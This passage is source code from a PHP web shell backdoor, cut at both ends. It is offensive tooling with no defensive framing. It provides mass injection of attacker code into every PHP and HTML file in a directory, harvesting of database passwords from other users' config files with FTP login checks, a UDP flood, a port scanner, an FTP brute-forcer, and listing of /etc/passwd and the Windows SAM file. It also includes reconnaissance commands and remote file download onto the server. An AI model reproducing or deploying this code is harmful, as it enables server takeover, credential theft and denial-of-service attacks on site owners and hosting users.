			$fp=fopen($injectj00,"a+");
			if (fputs($fp,$lolinject)){
				echo \'<font color=green>\'.$injectj00.\' was injected<br></font>\';
			} else {
				echo \'<font color=red>failed to inject \'.$injectj00.\'</font>\';
			}
		}
		foreach (glob($_GET[\'pathtomass\']."/*.htm") as $injectj00) {
			$fp=fopen($injectj00,"a+");
			if (fputs($fp,$lolinject)){
				echo $injectj00.\' was injected<br>\';
			} else {
				echo \'<font color=red>failed to inject \'.$injectj00.\'</font>\';
			}
		}
		foreach (glob($_GET[\'pathtomass\']."/*.html") as $injectj00) {
			$fp=fopen($injectj00,"a+");
			if (fputs($fp,$lolinject)){
				echo $injectj00.\' was injected<br>\';
			} else {
				echo \'<font color=red>failed to inject \'.$injectj00.\'</font>\';
			}
		}
	} else { //end if inputted dir is real -- if not, show an ugly red error
		echo \'<b><font color=red>\'.$_GET[\'pathtomass\'].\' is not available!</font></b>\';
	} // end if inputted dir is real, for real this time
} // end if confirmation to mass sploit is go

//new php backdoor
?>
<b>Mass Code Injection:</b><br><br>
Use this to add PHP to the end of every .php page in the directory specified.<br><br>
<form action="<?php echo $surl; ?>" method=GET>
<input type=hidden name="masssploit" value="php">
<input type=hidden name="act" value="massbrowsersploit">
<table border=0>
<tr><td>Dir to inject: </td><td><input type=text size=50 name="pathtomass" value="<?php echo realpath(\'.\'); ?>"> <-- default is dir this shell is in</td></tr>
<tr><td>Code to inject: </td><td><textarea name="injectthis" cols=50 rows=4><?php echo htmlspecialchars(\'<?php if ($_GET["x"] == "lul") { /*code*/; } ?>\'); ?></textarea></td></tr>
<tr><td><input type=submit value="Inject Code"></td></tr>
</table>
</form>
<?php
if ($_GET[\'masssploit\'] == \'php\') {
	if (is_dir($_GET[\'pathtomass\'])) {
		$lolinject = $_GET[\'injectthis\'];
		foreach (glob($_GET[\'pathtomass\']."/*.php") as $injectj00) {
			$fp=fopen($injectj00,"a+");
			if (fputs($fp,$lolinject)){
				echo \'<font color=green>\'.$injectj00.\' was injected<br></font>\';
			} else {
				echo \'<font color=red>failed to inject \'.$injectj00.\'</font>\';
			}
		}
	} else { //end if inputted dir is real -- if not, show an ugly red error
		echo \'<b><font color=red>\'.$_GET[\'pathtomass\'].\' is not available!</font></b>\';
	} // end if inputted dir is real, for real this time
} // end if confirmation to mass sploit is php only


} // end if massbrowsersploit is called





if ($x == \'cpanel\'){
	if ($_GET[\'go\'] == \'go\'){
	set_time_limit(0);
	##################
	@$passwd=fopen(\'/etc/passwd\',\'r\');
	if (!$passwd) {
	   echo "[-] Error : coudn\'t read /etc/passwd";
	   exit;
	}
	$path_to_public=array();
	$users=array();
	$pathtoconf=array();
	$i=0;
	
	while(!feof($passwd)) {
	  $str=fgets($passwd);
	  if ($i>35) {
		$pos=strpos($str,":");
		$username=substr($str,0,$pos);
		$dirz="/home/$username/public_html/";
		if (($username!="")) {
			if (is_readable($dirz)) {
				array_push($users,$username);
				array_push($path_to_public,$dirz);
			}
		}
	  }
	  $i++;
	}
	###################
	
	#########################
	function read_dir($path,$username) {
		if ($handle = opendir($path)) {
			while (false !== ($file = readdir($handle))) {
				  $fpath="$path$file";
				  if (($file!=\'.\') and ($file!=\'..\')) {
					 if (is_readable($fpath)) {
						$dr="$fpath/";
						if (is_dir($dr)) {
						   read_dir($dr,$username);
						}
						else {
							 if (($file==\'config.php\') or ($file==\'config.inc.php\') or ($file==\'db.inc.php\') or ($file==\'connect.php\') or ($file==\'wp-config.php\') or ($file==\'var.php\') or ($file==\'configure.php\') or ($file==\'db.php\') or ($file==\'db_connect.php\')) {
								$pass=get_pass($fpath);
								if ($pass!=\'\') {
								   echo "[+] $fpath
$pass
";
								   ftp_check($username,$pass);
								}
							 }
						}
					 }
				  }
			}
		}
	}
	
	function get_pass($link) {
		@$config=fopen($link,\'r\');
		while(!feof($config)) {
			$line=fgets($config);
			if (strstr($line,\'pass\') or strstr($line,\'password\') or strstr($line,\'passwd\')) {
				if (strrpos($line,\'"\'))
				   $pass=substr($line,(strpos($line,\'=\')+3),(strrpos($line,\'"\')-(strpos($line,\'=\')+3)));
				else
				   $pass=substr($line,(strpos($line,\'=\')+3),(strrpos($line,"\'")-(strpos($line,\'=\')+3)));
				return $pass;
			}
		}
	}
	
	function ftp_check($login,$pass) {
		 @$ftp=ftp_connect(\'127.0.0.1\');
		 if ($ftp) {
			@$res=ftp_login($ftp,$login,$pass);
			if ($res) {
			   echo \'[cPanel Found] \'.$login.\':\'.$pass."  Success
";
			}
			else ftp_quit($ftp);
		 }
	}
	
	echo "<br><br>";
	echo "<textarea name=\'main_window\' cols=100 rows=20>";
	
	echo "[+] Found ".sizeof($users)." entrys in /etc/passwd
";
	echo "[+] Found ".sizeof($path_to_public)." readable public_html directories
";
	
	echo "[~] Searching for passwords in config.* files...

";
	foreach ($users as $user) {
			$path="/home/$user/public_html/";
			read_dir($path,$user);
	}
	
	echo "
[+] Done
";
	
	echo "</textarea><br>";
	}else
	echo \'<center>Are you sure you would like to search for cPanel accounts on this website/server?<br>Please note this may take a long time to execute depending on the website/server it is run on.<br><br><a href="\'.$surl.\'x=cpanel&go=go">Yes</a> || <a href="\'.$surl.\'">No</a></center>\';
}

if ($x == \'fi\'){
?>
<b>Install Local RFI/LFI Scanner</b><br>
<form action=<?php echo $surl; ?> method=GET>
<input type=hidden name="x" value="fi">
<input type=hidden name="install" value="yup">
Path to install in: <input type=text name="path" value="<?php echo $d; ?>"> (must have final /)<br>
<input type=submit value="Install"></form>
<?php
		if ($_GET[\'install\'] == \'yup\') {
			if (is_writable($_GET[\'path\'])) {
				cf($_GET[\'path\'].\'fi.pl\', $fi);
				echo \'<font color=green><b>fi.pl was created in \'.htmlentities($_GET[\'path\']).\'</b></font>\';
				chmod($_GET[\'path\'].\'/fi.pl\', 0777);
				echo \'<br />To execute, browse to the directory you installed the scanner in and execute it from there using \'perl fi.pl\'\';
			}else{
				echo \'<font color=red><b>Directory is not writable!</b><br></font>\';
			}
		}
}

if ($x == \'phpproxy\'){
?>
<b>Install PHP Based Proxy</b><br>
<form action=<?php echo $surl; ?> method=GET>
<input type=hidden name="x" value="phpproxy">
<input type=hidden name="install" value="yup">
Path to install in: <input type=text name="path" value="<?php echo $d; ?>"> (must have final /)<br>
<input type=submit value="Install"></form>
<?php
		if ($_GET[\'install\'] == \'yup\') {
			if (is_writable($_GET[\'path\'])) {
				cf($_GET[\'path\'].\'proxy.php\', $phpproxy);
				echo \'<font color=green><b>proxy.php was created in \'.htmlentities($_GET[\'path\']).\'</b></font>\';
				chmod($_GET[\'path\'].\'/proxy.php\', 0777);
			}else{
				echo \'<font color=red><b>Directory is not writable!</b><br></font>\';
			}
		}
}


if ($x == \'phptools\'){
?><center><?php
//mailer
echo \'<b>Mailer</b><br>
<form action="\'.$surl.\'" method=GET>
<input type="hidden" name="act" value="phptools">
<input type=text name=to value=to><br>
<input type=text name=from value=from><br>
<input type=text name=subject value=subject><br>
<input type=text name=body value=body><br>
<input type=submit name=submit value=Submit></form>\';
if (isset($_GET[\'to\']) && isset($_GET[\'from\']) && isset($_GET[\'subject\']) && isset($_GET[\'body\'])) {
	$headers = \'From: \'.$_GET[\'from\'];
	mail ($_GET[\'to\'],$_GET[\'subject\'],$_GET[\'body\'],$headers);
	echo \'Email sent.\';
}

//port scanner
echo \'<br><b>Port Scanner</b><br>\';
$start = strip_tags($_GET[\'start\']);
$end = strip_tags($_GET[\'end\']);
$host = strip_tags($_GET[\'host\']);

if(isset($_GET[\'host\']) && is_numeric($_GET[\'end\']) && is_numeric($_GET[\'start\'])){
for($i = $start; $i<=$end; $i++){
	$fp = @fsockopen($host, $i, $errno, $errstr, 3);
	if($fp){
		echo \'Port \'.$i.\' is <font color=green>open</font><br>\';
	}
	flush();
	}
}else{
?>
<form action="?" method="get">
<input type="hidden" name="act" value="phptools">
Host:<br />
<input type="text" name="host" value="localhost"/><br />
Port start:<br />
<input type="text" name="start" value="0"/><br />
Port end:<br />
<input type="text" name="end" value="5000"/><br />
<input type="submit" value="Scan Ports" />
</form>
<?php
}

//UDP
if(isset($_GET[\'host\'])&&is_numeric($_GET[\'time\'])){
	$pakits = 0;
	ignore_user_abort(TRUE);
	set_time_limit(0);
	
	$exec_time = $_GET[\'time\'];
	
	$time = time();
	//print "Started: ".time(\'h:i:s\')."<br>";
	$max_time = $time+$exec_time;

	$host = $_GET[\'host\'];
	
	for($i=0;$i<65000;$i++){
			$out .= \'X\';
	}
	while(1){
	$pakits++;
			if(time() > $max_time){
					break;
			}
			$rand = rand(1,65000);
			$fp = fsockopen(\'udp://\'.$host, $rand, $errno, $errstr, 5);
			if($fp){
					fwrite($fp, $out);
					fclose($fp);
			}
	}
	echo "<br><b>UDP Flood</b><br>Completed with $pakits (" . round(($pakits*65)/1024, 2) . " MB) packets averaging ". round($pakits/$exec_time, 2) . " packets per second 
";
	echo \'<br><br>
		<form action="\'.$surl.\'" method=GET>
		<input type="hidden" name="act" value="phptools">
		Host: <input type=text name=host value=localhost>
		Length (seconds): <input type=text name=time value=9999>
		<input type=submit value=Go></form>\';
}else{ echo \'<br><b>UDP Flood</b><br>
			<form action=? method=GET>
			<input type="hidden" name="act" value="phptools">
			Host: <br><input type=text name=host value=localhost><br>
			Length (seconds): <br><input type=text name=time value=9999><br>
			<input type=submit value=Go></form>\';
}
?></center><?php
}



if ($x == "ftpquickbrute") {
echo "<center><table><tr><td class=barheader colspan=2>";
echo ".: Ftp Quick Brute :.</td></tr>";
echo "<tr><td>";
if ($win) {echo "Couldn\'t run on Windows!";}
else {
  function caftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) {
    if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));}
    else {$TRUE = TRUE;}
    if ($TRUE) {
      $sock = @ftp_connect($host,$port,$timeout);
      if (@ftp_login($sock,$login,$pass)) {
        echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>";
        ob_flush();
        return TRUE;
      }
    }
  }
  if (!empty($submit)) {
    if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
    $fp = fopen("/etc/passwd","r");
    if (!$fp) {echo "Can\'t get /etc/passwd for password-list.";}
    else {
      if ($fqb_logging) {
        if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}
        else {$fqb_logfp = FALSE;}
        $fqb_log = "FTP Quick Brute (".$sh_name.") started at ".date("d.m.Y H:i:s")."

";
        if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
      }
      ob_flush();
      $i = $success = 0;
      $ftpquick_st = getmicrotime();
      while(!feof($fp)) {
        $str = explode(":",fgets($fp,2048));
        if (caftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) {
          echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>";
          $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."
";
          if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
          $success++;
          ob_flush();
        }
        if ($i > $fqb_lenght) {break;}
        $i++;
      }
      if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!
";}
      $ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
      echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>";
      $fqb_log .= "
------------------------------------------
Done!
Total time (secs.): ".$ftpquick_t."
Total connections: ".$i."
Success.: ".$success."
Unsuccess.:".($i-$success)."
Connects per second: ".round($i/$ftpquick_t,2)."
";
      if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
      if ($fqb_logemail) {@mail($fqb_logemail,"".$sh_name." report",$fqb_log);}
      fclose($fqb_logfp);
    }
  }
  else {
    $logfile = $tmpdir_logs."ca_ftpquickbrute_".date("d.m.Y_H_i_s").".log";
    $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile);
    echo "<form action=\"".$surl."\"><input type=hidden name=x value=\"ftpquickbrute\">".
         "Read first:</td><td><input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"></td></tr>".
         "<tr><td></td><td><input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"> Users only with shell</td></tr>".
         "<tr><td></td><td><input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked>Logging</td></tr>".
         "<tr><td>Logging to file:</td><td><input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"></td></tr>".
         "<tr><td>Logging to e-mail:</td><td><input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"></td></tr>".
         "<tr><td colspan=2><input type=submit name=submit value=\"Brute\"></form>";
  }
  echo "</td></tr></table></center>";
}
}
if ($x == "d") {
if (!is_dir($d)) { echo "<center><b>$d is a not a Directory!</b></center>"; }
else {
  echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>";
  if (!$win) {
   echo "<tr><td><b>Owner/Group</b></td><td> ";
   $ow = posix_getpwuid(fileowner($d));
   $gr = posix_getgrgid(filegroup($d));
   $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
  }
  echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."x=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table>";
}
}
if ($x == "phpinfo") {@ob_clean(); phpinfo(); capriv8exit();}
if ($x == "security") {
  echo "<div class=barheader>.: Server Security Information :.</div>".
       "<table>".
       "<tr><td>Open Base Dir</td><td>".$hopenbasedir."</td></tr>";
  echo "<td>Password File</td><td>";
  if (!$win) {
    if ($nixpasswd) {
      if ($nixpasswd == 1) {$nixpasswd = 0;}
      echo "*nix /etc/passwd:<br>";
      if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
      if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
      echo "<form action=\"".$surl."\"><input type=hidden name=x value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form><br>";
      $i = $nixpwd_s;
      while ($i < $nixpwd_e) {
        $uid = posix_getpwuid($i);
        if ($uid) {
          $uid["dir"] = "<a href=\"".$surl."x=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>";
          echo join(":",$uid)."<br>";
        }
        $i++;
      }
    }
    else {echo "<a href=\"".$surl."x=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a>";}
  }
  else {
    $v = $_SERVER["WINDIR"]."
epair\sam";
    if (file_get_contents($v)) {echo "<td colspan=2><div class=fxerrmsg>You can\'t crack Windows passwords(".$v.")</div></td></tr>"; }
    else {echo "You can crack Windows passwords. <a href=\"".$surl."x=f&f=sam&d=".$_SERVER["WINDIR"]."\repair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ ?.</td></tr>";}
  }
  echo "</td></tr>";
  echo "<tr><td>Config Files</td><td>";
  if (!$win) {
    $v = array(
        array("User Domains","/etc/userdomains"),
        array("Cpanel Config","/var/cpanel/accounting.log"),
        array("Apache Config","/usr/local/apache/conf/httpd.conf"),
        array("Apache Config","/etc/httpd.conf"),
        array("Syslog Config","/etc/syslog.conf"),
        array("Message of The Day","/etc/motd"),
        array("Hosts","/etc/hosts")
    );
    $sep = "/";
  }
  else {
    $windir = $_SERVER["WINDIR"];
    $etcdir = $windir . "\system32\drivers\etc\";
    $v = array(
        array("Hosts",$etcdir."hosts"),
        array("Local Network Map",$etcdir."networks"),
        array("LM Hosts",$etcdir."lmhosts.sam"),
    );
    $sep = "\";
  }
  foreach ($v as $sec_arr) {
    $sec_f = substr(strrchr($sec_arr[1], $sep), 1);
    $sec_d = rtrim($sec_arr[1],$sec_f);
    $sec_full = $sec_d.$sec_f;
    $sec_d = rtrim($sec_d,$sep);
    if (file_get_contents($sec_full)) {
      echo " [ <a href=\"".$surl."x=f&f=$sec_f&d=".urlencode($sec_d)."&ft=txt\"><u><b>".$sec_arr[0]."</b></u></a> ] ";
    }
  }
  echo "</td></tr>";

  function displaysecinfo($name,$value) {
    if (!empty($value)) {
      echo "<tr><td>".$name."</td><td><pre>".wordwrap($value,100)."</pre></td></tr>";
    }
  }
  if (!$win) {
    displaysecinfo("OS Version",myshellexec("cat /proc/version"));
    displaysecinfo("Kernel Version",myshellexec("sysctl -a | grep version"));
    displaysecinfo("Distrib Name",myshellexec("cat /etc/issue.net"));
    displaysecinfo("Distrib Name (2)",myshellexec("cat /etc/*-realise"));
    displaysecinfo("CPU Info",myshellexec("cat /proc/cpuinfo"));
    displaysecinfo("RAM",myshellexec("free -m"));
    displaysecinfo("HDD Space",myshellexec("df -h"));
    displaysecinfo("List of Attributes",myshellexec("lsattr -a"));
    displaysecinfo("Mount Options",myshellexec("cat /etc/fstab"));
    displaysecinfo("cURL installed?",myshellexec("which curl"));
    displaysecinfo("lynx installed?",myshellexec("which lynx"));
    displaysecinfo("links installed?",myshellexec("which links"));
    displaysecinfo("fetch installed?",myshellexec("which fetch"));
    displaysecinfo("GET installed?",myshellexec("which GET"));
    displaysecinfo("perl installed?",myshellexec("which perl"));
    displaysecinfo("Where is Apache?",myshellexec("whereis apache"));
    displaysecinfo("Where is perl?",myshellexec("whereis perl"));
    displaysecinfo("Locate proftpd.conf",myshellexec("locate proftpd.conf"));
    displaysecinfo("Locate httpd.conf",myshellexec("locate httpd.conf"));
    displaysecinfo("Locate my.conf",myshellexec("locate my.conf"));
    displaysecinfo("Locate psybnc.conf",myshellexec("locate psybnc.conf"));
  }
  else {
    displaysecinfo("OS Version",myshellexec("ver"));
    displaysecinfo("Account Settings",myshellexec("net accounts"));
  }
  echo "</table>
";
}
if ($x == "mkfile") {
if ($mkfile != $d) {
  if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object already exists!";}
  elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied!";}
  else {$x = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
}
else {$x = $dspact = "ls";}
}
if ($x == "encoder") {
echo "<script language=\"javascript\">function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script>".
     "<form name=\"encoder\" action=\"".$surl."\" method=POST>".
     "<input type=hidden name=x value=encoder>".
     "<center><table class=contents>".
     "<tr><td colspan=4 class=barheader>.: Encoder :.</td>".
     "<tr><td colspan=2>Input:</td><td><textarea name=\"encoder_input\" id=\"input\" cols=70 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br>".
     "<input type=submit value=\"calculate\"></td></tr>".
     "<tr><td rowspan=4>Hashes:</td>";
foreach(array("md5","crypt","sha1","crc32") as $v) {
  echo "<td>".$v.":</td><td><input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly></td></tr><tr>";
}
echo "</tr>".
     "<tr><td rowspan=2>Url:</td>".
     "<td>urlencode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly></td></tr>".
     "<tr><td>urldecode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly></td></tr>".
     "<tr><td rowspan=2>Base64:</td>".
     "<td>base64_encode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></td></tr>".
     "<tr><td>base64_decode:</td><td>";
if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"Failed!\" disabled readonly>";}
else {
  $debase64 = base64_decode($encoder_input);
  $debase64 = str_replace("","[0]",$debase64);
  $a = explode("
",$debase64);
  $rows = count($a);
  $debase64 = htmlspecialchars($debase64);
  if ($rows == 1) { echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>"; }
  else { $rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>"; }
  echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\">[Send to input]</a>";
}
echo "</td></tr>".
     "<tr><td>Base convertations:</td><td>dec2hex</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"";
$c = strlen($encoder_input);
for($i=0;$i<$c;$i++) {
  $hex = dechex(ord($encoder_input[$i]));
  if ($encoder_input[$i] == "&") {echo $encoder_input[$i];}
  elseif ($encoder_input[$i] != "\") {echo "%".$hex;}
}
echo "\" readonly></td></tr><tr><td>Online md5 , sha1 , mysql password cracker<td><a href=\"http://passcracking.com\" target=_blank>Enter</a></td></tr></table></center></form>";
}
if ($x == "fsbuff") {
  $arr_copy = $sess_data["copy"];
  $arr_cut = $sess_data["cut"];
  $arr = array_merge($arr_copy,$arr_cut);
  if (count($arr) == 0) {echo "<h2><center>Buffer is empty!</center></h2>";}
  else {
    $fx_infohead = "File-System Buffer";
    $ls_arr = $arr;
    $disp_fullpath = TRUE;
    $x = "ls";
  }
}
if ($x == "selfremove") {
  if (($submit == $rndcode) and ($submit != "")) {
    if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using ".$sh_name."!"; capriv8exit(); }
    else {echo "<center><b>Can\'t delete ".__FILE__."!</b></center>";}
  }
  else {
    if (!empty($rndcode)) {echo "<b>Error: incorrect confirmation!</b>";}
    $rnd = rand(0,9).rand(0,9).rand(0,9);
    echo "<form action=\"".$surl."\"><input type=hidden name=x value=selfremove><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit>&nbsp;<input type=submit value=\"YES\"></form>";
  }
}

if ($x == "search") {
  echo "<div class=barheader>.: $sh_name File-System Search :.</div>";
  if (empty($search_in)) {$search_in = $d;}
  if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
  if (empty($search_text_wwo)) {$search_text_regexp = 0;}
  if (!empty($submit)) {
    $found = array();
    $found_d = 0;
    $found_f = 0;
    $search_i_f = 0;
    $search_i_d = 0;
    $a = array(
        "name"=>$search_name,
        "name_regexp"=>$search_name_regexp,
        "text"=>$search_text,
        "text_regexp"=>$search_text_regxp,
        "text_wwo"=>$search_text_wwo,
        "text_cs"=>$search_text_cs,
        "text_not"=>$search_text_not
    );
    $searchtime = getmicrotime();
    $in = array_unique(explode(";",$search_in));
    foreach($in as $v) {cafsearch($v);}
    $searchtime = round(getmicrotime()-$searchtime,4);
    if (count($found) == 0) {echo "No files found!";}
    else {
      $ls_arr = $found;
      $disp_fullpath = TRUE;
      $x = "ls";
    }
  }
  echo "<table class=contents>".
       "<tr><td><form method=POST>".
       "<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=x value=\"".$dspact."\">".
       "File or folder Name:</td><td><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - Regular Expression</td></tr>".
       "<tr><td>Look in (Separate by \";\"):</td><td><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"></td></tr>".
       "<tr><td>A word or phrase in the file:</td><td><textarea name=\"search_text\" cols=\"50\" rows=\"5\">".htmlspecialchars($search_text)."</textarea></td></tr>".
       "<tr><td></td><td><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> Regular Expression".
       "  <input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> Whole words only".
       "  <input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> Case sensitive".
       "  <input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> Find files NOT containing the text</td></tr>".
       "<tr><td></td><td><input type=submit name=submit value=\"Search\"></form></td></tr>".
       "</table>";
  if ($x == "ls") {
    $dspact = $x;
    echo "Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b>".
         "<hr size=\"1\" noshade>";
  }
}
if ($x == "chmod") {
  $mode = fileperms($d.$f);
  if (!$mode) {echo "<b>Change file-mode with error:</b> can\'t get current value.";}
  else {
    $form = TRUE;
    if ($chmod_submit)
  {
   $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
   if (chmod($d.$f,$octet)) {$x = "ls"; $form = FALSE; $err = "";}
   else {$err = "Can\'t chmod to ".$octet.".";}
  }
  if ($form)
  {
   $perms = parse_perms($mode);
   echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=x value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>";
  }
}
}
if ($x == "upload") {
  $uploadmess = "";
  $uploadpath = str_replace("\",DIRECTORY_SEPARATOR,$uploadpath);
  if (empty($uploadpath)) {$uploadpath = $d;}
  elseif (substr($uploadpath,-1) != DIRECTORY_SEPARATOR) {$uploadpath .= DIRECTORY_SEPARATOR;}
  if (!empty($submit)) {
    global $_FILES;
    $uploadfile = $_FILES["uploadfile"];
    if (!empty($uploadfile["tmp_name"])) {
      if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
      else {$destin = $userfilename;}
      if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {
        $uploadmess .= "Error uploading file ".$uploadfile["name"]." (can\'t copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";
      }
      else { $uploadmess .= "File uploaded successfully!<br>".$uploadpath.$destin; }
    }
    elseif (!empty($uploadurl)) {
      if (!empty($uploadfilename)) {$destin = $uploadfilename;}
      else {
        $destin = explode("/",$destin);
        $destin = $destin[count($destin)-1];
        if (empty($destin)) {
          $i = 0;
          $b = "";
          while(file_exists($uploadpath.$destin)) {
            if ($i > 0) {$b = "_".$i;}
            $destin = "upload".$b;
            $i++;
          }
        }
      }
      if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorrect URL!</b>";}
      else {
        $st = getmicrotime();
        $content = @file_get_contents($uploadurl);
        $dt = round(getmicrotime()-$st,4);
        if (!$content) {$uploadmess .=  "Can\'t download file!";}
        else {
          if ($filestealth) {$stat = stat($uploadpath.$destin);}
